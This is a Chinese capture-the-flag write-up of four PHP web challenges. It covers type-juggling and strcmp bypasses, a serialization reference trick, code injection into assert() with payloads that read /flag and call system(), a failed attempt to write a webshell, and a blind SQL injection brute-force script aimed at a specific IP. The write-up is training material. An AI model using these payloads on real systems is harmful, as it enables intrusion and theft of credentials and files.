一步步慢慢绕
题目:
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2017)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("uenit", $a["bar2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="uenit"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "SeBaFi")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
第一步:
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2017)?$v1=1:NULL;
}
这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比,这里可以用2018alex来绕过。
第二步:
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("uenit", $a["bar2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="uenit"?die("nope"):NULL;
}
$v2=1;
}
这里要求$a[‘bar2’]是个长度为五,且第一个元素为数组的数组,
这里也利用了相同的原理,array_search 会使用’uenit’和array中的每个值作比较。而intval(‘uenit’)=0。所以只要数组里有个元素的值为0就能绕过。
测试代码:
$bar2=array(2,1,0);
var_dump(array_search("uenit", $bar2));
结果:
int(2)
第三步:
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "SeBaFi")?$v3=1:NULL;
}
}
这里用到array和string进行strcmp比较的时候会返回一个null,%00可以截断eregi
最终payload:
?foo={"bar1":"2018alex","bar2":[[1],1,2,0,5]}&cat[0]=0SeBaFi&cat[1][]=1&dog=%00
序列化
<?php
class SeBaFi
{
var $name;
var $password;
}
if (isset($_GET['login']))
{
$login = $_GET['login'];
if(get_magic_quotes_gpc())
{
$login=stripslashes($login);
}
$o=unserialize($login);
if($o)
{
$o->name='*';
if($o->name === $o->password)
{
echo "SeBaFi{".$o->name."}";
}
else
{
echo "wrong";
}
}
else
{
echo "what are you doing";
}
}
?>
对象包含的引用在序列化时也会被存储。
我们通过将name的引用赋值给password,这样就可以同步变化,绕过验证;
payload:
<?php
class SeBaFi
{
var $name;
var $password;
}
$a=new SeBaFi;
$a->name=&$a->password;
echo serialize($a);
文件包含
测试题目发现传参file。测试发现可能存在文件包含,通过php伪协议测试发现没反映。最终发现源代码
<?php
include('waf.php');
if (isset($_GET['file'])) {
$file = $_GET['file'];
} else {
$file = "home";
}
$file=str_replace("./","",$file);
$file=str_replace(".\\","",$file);
$para = "./" . $file . ".php";
assert("file_exists('$para')");
关键代码如上,我们发现最终文件并不是被包含的所以伪协议根本不行,最终是通过assert函数来执行文件,把文件显示出来,这里用到了代码执行,因为$para
参数我们部分可控,所以能够进行代码执行。最终payload:
// ') and print_r(fread(fopen('templates/flag.php','r'),filesize("templates/flag.php")));
// ') and print_r(fread(fopen('/flag','r'),filesize("/flag")));
//file_get_contents(),file_put_contents(filename, data)函数被过滤
fwrite(fopen("alex.php", "w"),"<?=$_POST[alex]);");//写码失败,函数被过滤
// aaaa') or system('tail /flag');//
sql
进入题目发现是一个登陆框
尝试登陆得到sql语句。
select username from user where username='alex' and passwd='alex'
开始尝试注入fuzz一下,发现过滤了
and,or,',select,like,空格,if,=,#,<,>,database,order,sleep,_,limit,for,having,where,char,by,substr
过滤的还挺多的,经过测试发现\
可以转义单引号,%00
可以转义第二个单引号,发现;
没过滤,想到了堆叠注入,但是发现。。。=
和select
,被过滤了,所以gg了。(比赛时,就这么菜)没想到注直接密码。(真垃圾)。
正确的姿势:
通过正则匹配,确定开头字符来匹配。
passwd传入 ||passwd/**/regexp/**/"^2";%00 这里^的意思时以什么开头%00转义后面的单引号
username传入 \ 转义单引号
exp:
import string
import requests
import re
char_set = '0123456789abcdefghijklmnopqrstuvwxyz_'
pw = ''
while 1:
for ch in char_set:
url = 'http://39.106.94.18:13004/login.php?username=\\&passwd=||passwd/**/regexp/**/"^%s";%%00'
r = requests.get(url=url%(pw+ch))
# print url%(pw+ch)
if 'Welcome admin' in r.text:
pw += ch
print pw
break
if ch == '_': break
即可得到密码:24b17417a1267d5cf8f016515df037c5
登陆后发现题坏了。。。(告辞)听说是命令执行。。。